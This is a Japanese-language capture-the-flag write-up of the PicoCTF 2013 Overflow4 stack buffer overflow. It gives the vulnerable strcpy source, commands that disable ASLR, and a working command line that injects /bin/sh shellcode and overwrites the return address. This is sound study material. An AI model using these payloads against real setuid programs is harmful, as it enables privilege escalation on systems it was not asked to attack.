PicoCTF2013 Overflow4 Writeup

今回は一応できたけど、非常にもやもやしたまま。すっきりしない。

問題編

問題文

Category: Binary Exploitation Points: 150 Description:

Stack overflows are the most basic binary exploitation technique, but they take a lot of skill to master. If you already know some C, these problems can help acquaint you with stacks and binary exploitation in general.
Problem available on the shell machine in /problems/stack_overflow_4_4834efeff17abdfb , downloadable here with source here.
If you solve the problem you will be able to read the key file by running
cat /problems/stack_overflow_4_4834efeff17abdfb/key on the PicoCTF shell machine.
HINT: Gonna need some shellcode. Luckily some is provided for you in the directory on the shell machine.

ソースコード

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}

解答編

まずはいつもの調査。

# file overflow4-4834efeff17abdfb
overflow4-4834efeff17abdfb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=ae134398f8b02334bc124c467b4ad1dc234006bb, not stripped

# gdb -q ./overflow4-4834efeff17abdfb -ex checksec -ex q
Reading symbols from /root/ctf/picoCTF2013/Overflow4/overflow4-4834efeff17abdfb...done.
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

ソースコード中にシェル起動に役立ちそうな関数が無いことと、NXがDisableになっていることから、 スタックにシェルコードを注入して実行する問題だという推測までは自力でできた。

ただ、実行ごとにスタックのアドレスが変わってしまい、その対処が自力ではどうにもならなかった。 katagaitai勉強会#2の32ページに書いてある nop-sledという手法を自分なりに試してみたが、bashの引数に指定できる文字列の長さ制限もあり、 シェルコードを実行させることはできず、ギブアップ。

nop-sledを試してみたコード

# ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x90"*72); sys.stdout.write("\x04\x04\xff\xff\x04\x04\x87\xff"); sys.stdout.write("\x90"*100000); sys.stdout.write("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")')
Stack dump:
0xff84ba70: 0x90909090 (first argument)
0xff84ba6c: 0xff870404 (saved eip)
0xff84ba68: 0xffff0404 (saved ebp)
0xff84ba64: 0x90909090
0xff84ba60: 0x90909090
0xff84ba5c: 0x90909090
0xff84ba58: 0x90909090
0xff84ba54: 0x90909090
0xff84ba50: 0x90909090
0xff84ba4c: 0x90909090
0xff84ba48: 0x90909090
0xff84ba44: 0x90909090
0xff84ba40: 0x90909090
0xff84ba3c: 0x90909090
0xff84ba38: 0x90909090
0xff84ba34: 0x90909090
0xff84ba30: 0x90909090
0xff84ba2c: 0x90909090
0xff84ba28: 0x90909090
0xff84ba24: 0x90909090
0xff84ba20: 0x90909090 (beginning of buffer)
Segmentation fault (コアダンプ)

※実行ごとにスタックアドレスが変わる。

ここで他人様のWriteupをチラ見。

write-ups-2013/pico-ctf-2013/overflow-4 at master · ctfs/write-ups-2013 · GitHub

スタックアドレスが変わってしまうことの対処にはASLRを無効にすればよいことに気づく。

LinuxのASLRの設定を確認し、無効化(=0)設定にする。

# cat /proc/sys/kernel/randomize_va_space
2

# echo 0 > /proc/sys/kernel/randomize_va_space

# cat /proc/sys/kernel/randomize_va_space
0

あとはスタックにシェルコードを流し込んで、そこにEIPを移せばシェルが取れるはず。 と思って、自分で探してきたシェルコードを試してみたがうまくいかず。。。 ここでもギブアップ。

今度は他人様のWriteupをガン見。(シェルコードもそのまま流用)

# setarch `uname -m` -R ./overflow4-4834efeff17abdfb $(python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80");sys.stdout.write("A"*55); sys.stdout.write("\x50\xd5\xff\xff")')
Stack dump:
0xffffd5a0: 0xffffd700 (first argument)
0xffffd59c: 0xffffd550 (saved eip)
0xffffd598: 0x41414141 (saved ebp)
0xffffd594: 0x41414141
0xffffd590: 0x41414141
0xffffd58c: 0x41414141
0xffffd588: 0x41414141
0xffffd584: 0x41414141
0xffffd580: 0x41414141
0xffffd57c: 0x41414141
0xffffd578: 0x41414141
0xffffd574: 0x41414141
0xffffd570: 0x41414141
0xffffd56c: 0x41414141
0xffffd568: 0x41414141
0xffffd564: 0x41414180
0xffffd560: 0xcde3896e
0xffffd55c: 0x69622f68
0xffffd558: 0x68732f2f
0xffffd554: 0x68510bb0
0xffffd550: 0xe1f7c931 (beginning of buffer)
# ls

わかりづらいが、一応新しいシェルは起動している様子。

先頭に'setarch uname -m -R ‘を付けないとうまくいかない模様。 また、シェルコードにもうまく動くものとうまく動かないものがある模様。(環境依存?)

もやもや

  • ASLRの無効化方法として、/proc/sys/kernel/randomize_va_spaceを変更するやり方とsetarchで起動するやり方では効果が違うのか?
  • 環境によって動くシェルコードが違うのか?